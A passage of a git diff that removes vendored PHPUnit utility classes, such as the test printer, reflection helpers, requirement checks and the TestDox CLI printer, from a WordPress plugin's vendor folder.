$result->beStrictAboutResourceUsageDuringSmallTests({isStrictAboutResourceUsageDuringSmallTests}); - - $test = new {className}('{methodName}', unserialize('{data}'), '{dataName}'); - \assert($test instanceof TestCase); - - $test->setDependencyInput(unserialize('{dependencyInput}')); - $test->setInIsolation(true); - - ob_end_clean(); - $test->run($result); - $output = ''; - if (!$test->hasExpectationOnOutput()) { - $output = $test->getActualOutput(); - } - - ini_set('xdebug.scream', '0'); - - @rewind(STDOUT); /* @ as not every STDOUT target stream is rewindable */ - if ($stdout = @stream_get_contents(STDOUT)) { - $output = $stdout . $output; - $streamMetaData = stream_get_meta_data(STDOUT); - if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { - @ftruncate(STDOUT, 0); - @rewind(STDOUT); - } - } - - file_put_contents( - '{processResultFile}', - serialize( - [ - 'testResult' => $test->getResult(), - 'numAssertions' => $test->getNumAssertions(), - 'result' => $result, - 'output' => $output - ] - ) - ); -} - -$configurationFilePath = '{configurationFilePath}'; - -if ('' !== $configurationFilePath) { - $configuration = (new Loader)->load($configurationFilePath); - - (new PhpHandler)->handle($configuration->php()); - - unset($configuration); -} - -function __phpunit_error_handler($errno, $errstr, $errfile, $errline) -{ - return true; -} - -set_error_handler('__phpunit_error_handler'); - -{constants} -{included_files} -{globals} - -restore_error_handler(); - -if (isset($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { - require_once $GLOBALS['__PHPUNIT_BOOTSTRAP']; - unset($GLOBALS['__PHPUNIT_BOOTSTRAP']); -} - -__phpunit_run_isolated_test(); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php deleted file mode 100644 index 338fea71..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/PHP/WindowsPhpProcess.php +++ /dev/null @@ -1,52 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\PHP; - -use const PHP_MAJOR_VERSION; -use function tmpfile; -use PHPUnit\Framework\Exception; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - * - * @see https://bugs.php.net/bug.php?id=51800 - */ -final class WindowsPhpProcess extends DefaultPhpProcess -{ - public function getCommand(array $settings, ?string $file = null): string - { - if (PHP_MAJOR_VERSION < 8) { - return '"' . parent::getCommand($settings, $file) . '"'; - } - - return parent::getCommand($settings, $file); - } - - /** - * @throws Exception - */ - protected function getHandles(): array - { - if (false === $stdout_handle = tmpfile()) { - throw new Exception( - 'A temporary file could not be created; verify that your TEMP environment variable is writable', - ); - } - - return [ - 1 => $stdout_handle, - ]; - } - - protected function useTemporaryFile(): bool - { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Printer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Printer.php deleted file mode 100644 index 311d4943..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Printer.php +++ /dev/null @@ -1,116 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const ENT_COMPAT; -use const ENT_SUBSTITUTE; -use const PHP_SAPI; -use function assert; -use function count; -use function dirname; -use function explode; -use function fclose; -use function fopen; -use function fsockopen; -use function fwrite; -use function htmlspecialchars; -use function is_resource; -use function is_string; -use function sprintf; -use function str_replace; -use function strncmp; -use function strpos; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class Printer -{ - /** - * @psalm-var closed-resource|resource - */ - private $stream; - - /** - * @var bool - */ - private $isPhpStream; - - /** - * @param null|resource|string $out - * - * @throws Exception - */ - public function __construct($out = null) - { - if (is_resource($out)) { - $this->stream = $out; - - return; - } - - if (!is_string($out)) { - return; - } - - if (strpos($out, 'socket://') === 0) { - $tmp = explode(':', str_replace('socket://', '', $out)); - - if (count($tmp) !== 2) { - throw new Exception( - sprintf( - '"%s" does not match "socket://hostname:port" format', - $out, - ), - ); - } - - $this->stream = fsockopen($tmp[0], (int) $tmp[1]); - - return; - } - - if (strpos($out, 'php://') === false && !Filesystem::createDirectory(dirname($out))) { - throw new Exception( - sprintf( - 'Directory "%s" was not created', - dirname($out), - ), - ); - } - - $this->stream = fopen($out, 'wb'); - $this->isPhpStream = strncmp($out, 'php://', 6) !== 0; - } - - public function write(string $buffer): void - { - if ($this->stream) { - assert(is_resource($this->stream)); - - fwrite($this->stream, $buffer); - } else { - if (PHP_SAPI !== 'cli' && PHP_SAPI !== 'phpdbg') { - $buffer = htmlspecialchars($buffer, ENT_COMPAT | ENT_SUBSTITUTE); - } - - print $buffer; - } - } - - public function flush(): void - { - if ($this->stream && $this->isPhpStream) { - assert(is_resource($this->stream)); - - fclose($this->stream); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Reflection.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Reflection.php deleted file mode 100644 index 3ffc2d5e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Reflection.php +++ /dev/null @@ -1,63 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use PHPUnit\Framework\Assert; -use PHPUnit\Framework\TestCase; -use ReflectionClass; -use ReflectionMethod; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Reflection -{ - /** - * @psalm-return list - */ - public function publicMethodsInTestClass(ReflectionClass $class): array - { - return $this->filterMethods($class, ReflectionMethod::IS_PUBLIC); - } - - /** - * @psalm-return list - */ - public function methodsInTestClass(ReflectionClass $class): array - { - return $this->filterMethods($class, null); - } - - /** - * @psalm-return list - */ - private function filterMethods(ReflectionClass $class, ?int $filter): array - { - $methods = []; - - // PHP <7.3.5 throw error when null is passed - // to ReflectionClass::getMethods() when strict_types is enabled. - $classMethods = $filter === null ? $class->getMethods() : $class->getMethods($filter); - - foreach ($classMethods as $method) { - if ($method->getDeclaringClass()->getName() === TestCase::class) { - continue; - } - - if ($method->getDeclaringClass()->getName() === Assert::class) { - continue; - } - - $methods[] = $method; - } - - return $methods; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/RegularExpression.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/RegularExpression.php deleted file mode 100644 index 1e97d6c2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/RegularExpression.php +++ /dev/null @@ -1,31 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use function preg_match; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class RegularExpression -{ - /** - * @return false|int - */ - public static function safeMatch(string $pattern, string $subject) - { - return ErrorHandler::invokeIgnoringWarnings( - static function () use ($pattern, $subject) - { - return preg_match($pattern, $subject); - }, - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Test.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Test.php deleted file mode 100644 index 4d6319b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/Test.php +++ /dev/null @@ -1,784 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util; - -use const PHP_OS; -use const PHP_VERSION; -use function addcslashes; -use function array_flip; -use function array_key_exists; -use function array_merge; -use function array_unique; -use function array_unshift; -use function class_exists; -use function count; -use function explode; -use function extension_loaded; -use function function_exists; -use function get_class; -use function ini_get; -use function interface_exists; -use function is_array; -use function is_int; -use function method_exists; -use function phpversion; -use function preg_match; -use function preg_replace; -use function sprintf; -use function strncmp; -use function strpos; -use function strtolower; -use function trim; -use function version_compare; -use PHPUnit\Framework\CodeCoverageException; -use PHPUnit\Framework\ExecutionOrderDependency; -use PHPUnit\Framework\InvalidCoversTargetException; -use PHPUnit\Framework\SelfDescribing; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\Warning; -use PHPUnit\Runner\Version; -use PHPUnit\Util\Annotation\Registry; -use ReflectionClass; -use ReflectionException; -use ReflectionMethod; -use SebastianBergmann\CodeUnit\CodeUnitCollection; -use SebastianBergmann\CodeUnit\InvalidCodeUnitException; -use SebastianBergmann\CodeUnit\Mapper; -use SebastianBergmann\Environment\OperatingSystem; -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Test -{ - /** - * @var int - */ - public const UNKNOWN = -1; - - /** - * @var int - */ - public const SMALL = 0; - - /** - * @var int - */ - public const MEDIUM = 1; - - /** - * @var int - */ - public const LARGE = 2; - - /** - * @var array - */ - private static $hookMethods = []; - - /** - * @throws InvalidArgumentException - */ - public static function describe(\PHPUnit\Framework\Test $test): array - { - if ($test instanceof TestCase) { - return [get_class($test), $test->getName()]; - } - - if ($test instanceof SelfDescribing) { - return ['', $test->toString()]; - } - - return ['', get_class($test)]; - } - - public static function describeAsString(\PHPUnit\Framework\Test $test): string - { - if ($test instanceof SelfDescribing) { - return $test->toString(); - } - - return get_class($test); - } - - /** - * @throws CodeCoverageException - * - * @return array|bool - * - * @psalm-param class-string $className - */ - public static function getLinesToBeCovered(string $className, string $methodName) - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - if (!self::shouldCoversAnnotationBeUsed($annotations)) { - return false; - } - - return self::getLinesToBeCoveredOrUsed($className, $methodName, 'covers'); - } - - /** - * Returns lines of code specified with the @uses annotation. - * - * @throws CodeCoverageException - * - * @psalm-param class-string $className - */ - public static function getLinesToBeUsed(string $className, string $methodName): array - { - return self::getLinesToBeCoveredOrUsed($className, $methodName, 'uses'); - } - - public static function requiresCodeCoverageDataCollection(TestCase $test): bool - { - $annotations = self::parseTestMethodAnnotations( - get_class($test), - $test->getName(false), - ); - - // If there is no @covers annotation but a @coversNothing annotation on - // the test method then code coverage data does not need to be collected - if (isset($annotations['method']['coversNothing'])) { - // @see https://github.com/sebastianbergmann/phpunit/issues/4947#issuecomment-1084480950 - // return false; - } - - // If there is at least one @covers annotation then - // code coverage data needs to be collected - if (isset($annotations['method']['covers'])) { - return true; - } - - // If there is no @covers annotation but a @coversNothing annotation - // then code coverage data does not need to be collected - if (isset($annotations['class']['coversNothing'])) { - // @see https://github.com/sebastianbergmann/phpunit/issues/4947#issuecomment-1084480950 - // return false; - } - - // If there is no @coversNothing annotation then - // code coverage data may be collected - return true; - } - - /** - * @throws Exception - * - * @psalm-param class-string $className - */ - public static function getRequirements(string $className, string $methodName): array - { - return self::mergeArraysRecursively( - Registry::getInstance()->forClassName($className)->requirements(), - Registry::getInstance()->forMethod($className, $methodName)->requirements(), - ); - } - - /** - * Returns the missing requirements for a test. - * - * @throws Exception - * @throws Warning - * - * @psalm-param class-string $className - */ - public static function getMissingRequirements(string $className, string $methodName): array - { - $required = self::getRequirements($className, $methodName); - $missing = []; - $hint = null; - - if (!empty($required['PHP'])) { - $operator = new VersionComparisonOperator(empty($required['PHP']['operator']) ? '>=' : $required['PHP']['operator']); - - if (!version_compare(PHP_VERSION, $required['PHP']['version'], $operator->asString())) { - $missing[] = sprintf('PHP %s %s is required.', $operator->asString(), $required['PHP']['version']); - $hint = 'PHP'; - } - } elseif (!empty($required['PHP_constraint'])) { - $version = new \PharIo\Version\Version(self::sanitizeVersionNumber(PHP_VERSION)); - - if (!$required['PHP_constraint']['constraint']->complies($version)) { - $missing[] = sprintf( - 'PHP version does not match the required constraint %s.', - $required['PHP_constraint']['constraint']->asString(), - ); - - $hint = 'PHP_constraint'; - } - } - - if (!empty($required['PHPUnit'])) { - $phpunitVersion = Version::id(); - - $operator = new VersionComparisonOperator(empty($required['PHPUnit']['operator']) ? '>=' : $required['PHPUnit']['operator']); - - if (!version_compare($phpunitVersion, $required['PHPUnit']['version'], $operator->asString())) { - $missing[] = sprintf('PHPUnit %s %s is required.', $operator->asString(), $required['PHPUnit']['version']); - $hint = $hint ?? 'PHPUnit'; - } - } elseif (!empty($required['PHPUnit_constraint'])) { - $phpunitVersion = new \PharIo\Version\Version(self::sanitizeVersionNumber(Version::id())); - - if (!$required['PHPUnit_constraint']['constraint']->complies($phpunitVersion)) { - $missing[] = sprintf( - 'PHPUnit version does not match the required constraint %s.', - $required['PHPUnit_constraint']['constraint']->asString(), - ); - - $hint = $hint ?? 'PHPUnit_constraint'; - } - } - - if (!empty($required['OSFAMILY']) && $required['OSFAMILY'] !== (new OperatingSystem)->getFamily()) { - $missing[] = sprintf('Operating system %s is required.', $required['OSFAMILY']); - $hint = $hint ?? 'OSFAMILY'; - } - - if (!empty($required['OS'])) { - $requiredOsPattern = sprintf('/%s/i', addcslashes($required['OS'], '/')); - - if (!preg_match($requiredOsPattern, PHP_OS)) { - $missing[] = sprintf('Operating system matching %s is required.', $requiredOsPattern); - $hint = $hint ?? 'OS'; - } - } - - if (!empty($required['functions'])) { - foreach ($required['functions'] as $function) { - $pieces = explode('::', $function); - - if (count($pieces) === 2 && class_exists($pieces[0]) && method_exists($pieces[0], $pieces[1])) { - continue; - } - - if (function_exists($function)) { - continue; - } - - $missing[] = sprintf('Function %s is required.', $function); - $hint = $hint ?? 'function_' . $function; - } - } - - if (!empty($required['setting'])) { - foreach ($required['setting'] as $setting => $value) { - if (ini_get($setting) !== $value) { - $missing[] = sprintf('Setting "%s" must be "%s".', $setting, $value); - $hint = $hint ?? '__SETTING_' . $setting; - } - } - } - - if (!empty($required['extensions'])) { - foreach ($required['extensions'] as $extension) { - if (isset($required['extension_versions'][$extension])) { - continue; - } - - if (!extension_loaded($extension)) { - $missing[] = sprintf('Extension %s is required.', $extension); - $hint = $hint ?? 'extension_' . $extension; - } - } - } - - if (!empty($required['extension_versions'])) { - foreach ($required['extension_versions'] as $extension => $req) { - $actualVersion = phpversion($extension); - - $operator = new VersionComparisonOperator(empty($req['operator']) ? '>=' : $req['operator']); - - if ($actualVersion === false || !version_compare($actualVersion, $req['version'], $operator->asString())) { - $missing[] = sprintf('Extension %s %s %s is required.', $extension, $operator->asString(), $req['version']); - $hint = $hint ?? 'extension_' . $extension; - } - } - } - - if ($hint && isset($required['__OFFSET'])) { - array_unshift($missing, '__OFFSET_FILE=' . $required['__OFFSET']['__FILE']); - array_unshift($missing, '__OFFSET_LINE=' . ($required['__OFFSET'][$hint] ?? 1)); - } - - return $missing; - } - - /** - * Returns the provided data for a method. - * - * @throws Exception - * - * @psalm-param class-string $className - */ - public static function getProvidedData(string $className, string $methodName): ?array - { - return Registry::getInstance()->forMethod($className, $methodName)->getProvidedData(); - } - - /** - * @psalm-param class-string $className - */ - public static function parseTestMethodAnnotations(string $className, ?string $methodName = null): array - { - $registry = Registry::getInstance(); - - if ($methodName !== null) { - try { - return [ - 'method' => $registry->forMethod($className, $methodName)->symbolAnnotations(), - 'class' => $registry->forClassName($className)->symbolAnnotations(), - ]; - } catch (Exception $methodNotFound) { - // ignored - } - } - - return [ - 'method' => null, - 'class' => $registry->forClassName($className)->symbolAnnotations(), - ]; - } - - /** - * @psalm-param class-string $className - */ - public static function getInlineAnnotations(string $className, string $methodName): array - { - return Registry::getInstance()->forMethod($className, $methodName)->getInlineAnnotations(); - } - - /** @psalm-param class-string $className */ - public static function getBackupSettings(string $className, string $methodName): array - { - return [ - 'backupGlobals' => self::getBooleanAnnotationSetting( - $className, - $methodName, - 'backupGlobals', - ), - 'backupStaticAttributes' => self::getBooleanAnnotationSetting( - $className, - $methodName, - 'backupStaticAttributes', - ), - ]; - } - - /** - * @psalm-param class-string $className - * - * @return ExecutionOrderDependency[] - */ - public static function getDependencies(string $className, string $methodName): array - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - $dependsAnnotations = $annotations['class']['depends'] ?? []; - - if (isset($annotations['method']['depends'])) { - $dependsAnnotations = array_merge( - $dependsAnnotations, - $annotations['method']['depends'], - ); - } - - // Normalize dependency name to className::methodName - $dependencies = []; - - foreach ($dependsAnnotations as $value) { - $dependencies[] = ExecutionOrderDependency::createFromDependsAnnotation($className, $value); - } - - return array_unique($dependencies); - } - - /** @psalm-param class-string $className */ - public static function getGroups(string $className, ?string $methodName = ''): array - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - $groups = []; - - if (isset($annotations['method']['author'])) { - $groups[] = $annotations['method']['author']; - } elseif (isset($annotations['class']['author'])) { - $groups[] = $annotations['class']['author']; - } - - if (isset($annotations['class']['group'])) { - $groups[] = $annotations['class']['group']; - } - - if (isset($annotations['method']['group'])) { - $groups[] = $annotations['method']['group']; - } - - if (isset($annotations['class']['ticket'])) { - $groups[] = $annotations['class']['ticket']; - } - - if (isset($annotations['method']['ticket'])) { - $groups[] = $annotations['method']['ticket']; - } - - foreach (['method', 'class'] as $element) { - foreach (['small', 'medium', 'large'] as $size) { - if (isset($annotations[$element][$size])) { - $groups[] = [$size]; - - break 2; - } - } - } - - foreach (['method', 'class'] as $element) { - if (isset($annotations[$element]['covers'])) { - foreach ($annotations[$element]['covers'] as $coversTarget) { - $groups[] = ['__phpunit_covers_' . self::canonicalizeName($coversTarget)]; - } - } - - if (isset($annotations[$element]['uses'])) { - foreach ($annotations[$element]['uses'] as $usesTarget) { - $groups[] = ['__phpunit_uses_' . self::canonicalizeName($usesTarget)]; - } - } - } - - return array_unique(array_merge([], ...$groups)); - } - - /** @psalm-param class-string $className */ - public static function getSize(string $className, ?string $methodName): int - { - $groups = array_flip(self::getGroups($className, $methodName)); - - if (isset($groups['large'])) { - return self::LARGE; - } - - if (isset($groups['medium'])) { - return self::MEDIUM; - } - - if (isset($groups['small'])) { - return self::SMALL; - } - - return self::UNKNOWN; - } - - /** @psalm-param class-string $className */ - public static function getProcessIsolationSettings(string $className, string $methodName): bool - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - return isset($annotations['class']['runTestsInSeparateProcesses']) || isset($annotations['method']['runInSeparateProcess']); - } - - /** @psalm-param class-string $className */ - public static function getClassProcessIsolationSettings(string $className, string $methodName): bool - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - return isset($annotations['class']['runClassInSeparateProcess']); - } - - /** @psalm-param class-string $className */ - public static function getPreserveGlobalStateSettings(string $className, string $methodName): ?bool - { - return self::getBooleanAnnotationSetting( - $className, - $methodName, - 'preserveGlobalState', - ); - } - - /** @psalm-param class-string $className */ - public static function getHookMethods(string $className): array - { - if (!class_exists($className, false)) { - return self::emptyHookMethodsArray(); - } - - if (!isset(self::$hookMethods[$className])) { - self::$hookMethods[$className] = self::emptyHookMethodsArray(); - - try { - foreach ((new Reflection)->methodsInTestClass(new ReflectionClass($className)) as $method) { - $docBlock = Registry::getInstance()->forMethod($className, $method->getName()); - - if ($method->isStatic()) { - if ($docBlock->isHookToBeExecutedBeforeClass()) { - array_unshift( - self::$hookMethods[$className]['beforeClass'], - $method->getName(), - ); - } - - if ($docBlock->isHookToBeExecutedAfterClass()) { - self::$hookMethods[$className]['afterClass'][] = $method->getName(); - } - } - - if ($docBlock->isToBeExecutedBeforeTest()) { - array_unshift( - self::$hookMethods[$className]['before'], - $method->getName(), - ); - } - - if ($docBlock->isToBeExecutedAsPreCondition()) { - array_unshift( - self::$hookMethods[$className]['preCondition'], - $method->getName(), - ); - } - - if ($docBlock->isToBeExecutedAsPostCondition()) { - self::$hookMethods[$className]['postCondition'][] = $method->getName(); - } - - if ($docBlock->isToBeExecutedAfterTest()) { - self::$hookMethods[$className]['after'][] = $method->getName(); - } - } - } catch (ReflectionException $e) { - } - } - - return self::$hookMethods[$className]; - } - - public static function isTestMethod(ReflectionMethod $method): bool - { - if (!$method->isPublic()) { - return false; - } - - if (strpos($method->getName(), 'test') === 0) { - return true; - } - - return array_key_exists( - 'test', - Registry::getInstance()->forMethod( - $method->getDeclaringClass()->getName(), - $method->getName(), - ) - ->symbolAnnotations(), - ); - } - - /** - * @throws CodeCoverageException - * - * @psalm-param class-string $className - */ - private static function getLinesToBeCoveredOrUsed(string $className, string $methodName, string $mode): array - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - $classShortcut = null; - - if (!empty($annotations['class'][$mode . 'DefaultClass'])) { - if (count($annotations['class'][$mode . 'DefaultClass']) > 1) { - throw new CodeCoverageException( - sprintf( - 'More than one @%sClass annotation in class or interface "%s".', - $mode, - $className, - ), - ); - } - - $classShortcut = $annotations['class'][$mode . 'DefaultClass'][0]; - } - - $list = $annotations['class'][$mode] ?? []; - - if (isset($annotations['method'][$mode])) { - $list = array_merge($list, $annotations['method'][$mode]); - } - - $codeUnits = CodeUnitCollection::fromArray([]); - $mapper = new Mapper; - - foreach (array_unique($list) as $element) { - if ($classShortcut && strncmp($element, '::', 2) === 0) { - $element = $classShortcut . $element; - } - - $element = preg_replace('/[\s()]+$/', '', $element); - $element = explode(' ', $element); - $element = $element[0]; - - if ($mode === 'covers' && interface_exists($element)) { - throw new InvalidCoversTargetException( - sprintf( - 'Trying to @cover interface "%s".', - $element, - ), - ); - } - - try { - $codeUnits = $codeUnits->mergeWith($mapper->stringToCodeUnits($element)); - } catch (InvalidCodeUnitException $e) { - throw new InvalidCoversTargetException( - sprintf( - '"@%s %s" is invalid', - $mode, - $element, - ), - $e->getCode(), - $e, - ); - } - } - - return $mapper->codeUnitsToSourceLines($codeUnits); - } - - private static function emptyHookMethodsArray(): array - { - return [ - 'beforeClass' => ['setUpBeforeClass'], - 'before' => ['setUp'], - 'preCondition' => ['assertPreConditions'], - 'postCondition' => ['assertPostConditions'], - 'after' => ['tearDown'], - 'afterClass' => ['tearDownAfterClass'], - ]; - } - - /** @psalm-param class-string $className */ - private static function getBooleanAnnotationSetting(string $className, ?string $methodName, string $settingName): ?bool - { - $annotations = self::parseTestMethodAnnotations( - $className, - $methodName, - ); - - if (isset($annotations['method'][$settingName])) { - if ($annotations['method'][$settingName][0] === 'enabled') { - return true; - } - - if ($annotations['method'][$settingName][0] === 'disabled') { - return false; - } - } - - if (isset($annotations['class'][$settingName])) { - if ($annotations['class'][$settingName][0] === 'enabled') { - return true; - } - - if ($annotations['class'][$settingName][0] === 'disabled') { - return false; - } - } - - return null; - } - - /** - * Trims any extensions from version string that follows after - * the .[.] format. - */ - private static function sanitizeVersionNumber(string $version) - { - return preg_replace( - '/^(\d+\.\d+(?:.\d+)?).*$/', - '$1', - $version, - ); - } - - private static function shouldCoversAnnotationBeUsed(array $annotations): bool - { - if (isset($annotations['method']['coversNothing'])) { - return false; - } - - if (isset($annotations['method']['covers'])) { - return true; - } - - if (isset($annotations['class']['coversNothing'])) { - return false; - } - - return true; - } - - /** - * Merge two arrays together. - * - * If an integer key exists in both arrays and preserveNumericKeys is false, the value - * from the second array will be appended to the first array. If both values are arrays, they - * are merged together, else the value of the second array overwrites the one of the first array. - * - * This implementation is copied from https://github.com/zendframework/zend-stdlib/blob/76b653c5e99b40eccf5966e3122c90615134ae46/src/ArrayUtils.php - * - * Zend Framework (http://framework.zend.com/) - * - * @see http://github.com/zendframework/zf2 for the canonical source repository - * - * @copyright Copyright (c) 2005-2015 Zend Technologies USA Inc. (http://www.zend.com) - * @license http://framework.zend.com/license/new-bsd New BSD License - */ - private static function mergeArraysRecursively(array $a, array $b): array - { - foreach ($b as $key => $value) { - if (array_key_exists($key, $a)) { - if (is_int($key)) { - $a[] = $value; - } elseif (is_array($value) && is_array($a[$key])) { - $a[$key] = self::mergeArraysRecursively($a[$key], $value); - } else { - $a[$key] = $value; - } - } else { - $a[$key] = $value; - } - } - - return $a; - } - - private static function canonicalizeName(string $name): string - { - return strtolower(trim($name, '\\')); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php deleted file mode 100644 index 3348957d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Util/TestDox/CliTestDoxPrinter.php +++ /dev/null @@ -1,384 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Util\TestDox; - -use const PHP_EOL; -use function array_map; -use function ceil; -use function count; -use function explode; -use function get_class; -use function implode; -use function preg_match; -use function sprintf; -use function strlen; -use function strpos; -use function trim; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestResult; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\Util\Color; -use PHPUnit\Util\Filter; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use SebastianBergmann\Timer\ResourceUsageFormatter; -use SebastianBergmann\Timer\Timer; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class CliTestDoxPrinter extends TestDoxPrinter -{ - /** - * The default Testdox left margin for messages is a vertical line. - */ - private const PREFIX_SIMPLE = [ - 'default' => '│', - 'start' => '│', - 'message' => '│', - 'diff' => '│', - 'trace' => '│', - 'last' => '│', - ]; - - /** - * Colored Testdox use box-drawing for a more textured map of the message. - */ - private const PREFIX_DECORATED = [ - 'default' => '│', - 'start' => 'â”', - 'message' => '├', - 'diff' => '┊', - 'trace' => '╵', - 'last' => 'â”´', - ]; - - private const SPINNER_ICONS = [ - " \e[36mâ—\e[0m running tests", - " \e[36mâ—“\e[0m running tests", - " \e[36mâ—‘\e[0m running tests", - " \e[36mâ—’\e[0m running tests", - ]; - private const STATUS_STYLES = [ - BaseTestRunner::STATUS_PASSED => [ - 'symbol' => '✔', - 'color' => 'fg-green', - ], - BaseTestRunner::STATUS_ERROR => [ - 'symbol' => '✘', - 'color' => 'fg-yellow', - 'message' => 'bg-yellow,fg-black', - ], - BaseTestRunner::STATUS_FAILURE => [ - 'symbol' => '✘', - 'color' => 'fg-red', - 'message' => 'bg-red,fg-white', - ], - BaseTestRunner::STATUS_SKIPPED => [ - 'symbol' => '↩', - 'color' => 'fg-cyan', - 'message' => 'fg-cyan', - ], - BaseTestRunner::STATUS_RISKY => [ - 'symbol' => '☢', - 'color' => 'fg-yellow', - 'message' => 'fg-yellow', - ], - BaseTestRunner::STATUS_INCOMPLETE => [ - 'symbol' => '∅', - 'color' => 'fg-yellow', - 'message' => 'fg-yellow', - ], - BaseTestRunner::STATUS_WARNING => [ - 'symbol' => 'âš ', - 'color' => 'fg-yellow', - 'message' => 'fg-yellow', - ], - BaseTestRunner::STATUS_UNKNOWN => [ - 'symbol' => '?', - 'color' => 'fg-blue', - 'message' => 'fg-white,bg-blue', - ], - ]; - - /** - * @var int[] - */ - private $nonSuccessfulTestResults = []; - - /** - * @var Timer - */ - private $timer; - - /** - * @param null|resource|string $out - * @param int|string $numberOfColumns - * - * @throws Exception - */ - public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) - { - parent::__construct($out, $verbose, $colors, $debug, $numberOfColumns, $reverse); - - $this->timer = new Timer; - - $this->timer->start(); - } - - public function printResult(TestResult $result): void - { - $this->printHeader($result); - - $this->printNonSuccessfulTestsSummary($result->count()); - - $this->printFooter($result); - } - - protected function printHeader(TestResult $result): void - { - $this->write("\n" . (new ResourceUsageFormatter)->resourceUsage($this->timer->stop()) . "\n\n"); - } - - protected function formatClassName(Test $test): string - { - if ($test instanceof TestCase) { - return $this->prettifier->prettifyTestClass(get_class($test)); - } - - return get_class($test); - } - - /** - * @throws InvalidArgumentException - */ - protected function registerTestResult(Test $test, ?Throwable $t, int $status, float $time, bool $verbose): void - { - if ($status !== BaseTestRunner::STATUS_PASSED) { - $this->nonSuccessfulTestResults[] = $this->testIndex; - } - - parent::registerTestResult($test, $t, $status, $time, $verbose); - } - - /** - * @throws InvalidArgumentException - */ - protected function formatTestName(Test $test): string - { - if ($test instanceof TestCase) { - return $this->prettifier->prettifyTestCase($test); - } - - return parent::formatTestName($test); - } - - protected function writeTestResult(array $prevResult, array $result): void - { - // spacer line for new suite headers and after verbose messages - if ($prevResult['testName'] !== '' && - (!empty($prevResult['message']) || $prevResult['className'] !== $result['className'])) { - $this->write(PHP_EOL); - } - - // suite header - if ($prevResult['className'] !== $result['className']) { - $this->write($this->colorizeTextBox('underlined', $result['className']) . PHP_EOL); - } - - // test result line - if ($this->colors && $result['className'] === PhptTestCase::class) { - $testName = Color::colorizePath($result['testName'], $prevResult['testName'], true); - } else { - $testName = $result['testMethod']; - } - - $style = self::STATUS_STYLES[$result['status']]; - $line = sprintf( - ' %s %s%s' . PHP_EOL, - $this->colorizeTextBox($style['color'], $style['symbol']), - $testName, - $this->verbose ? ' ' . $this->formatRuntime($result['time'], $style['color']) : '', - ); - - $this->write($line); - - // additional information when verbose - $this->write($result['message']); - } - - protected function formatThrowable(Throwable $t, ?int 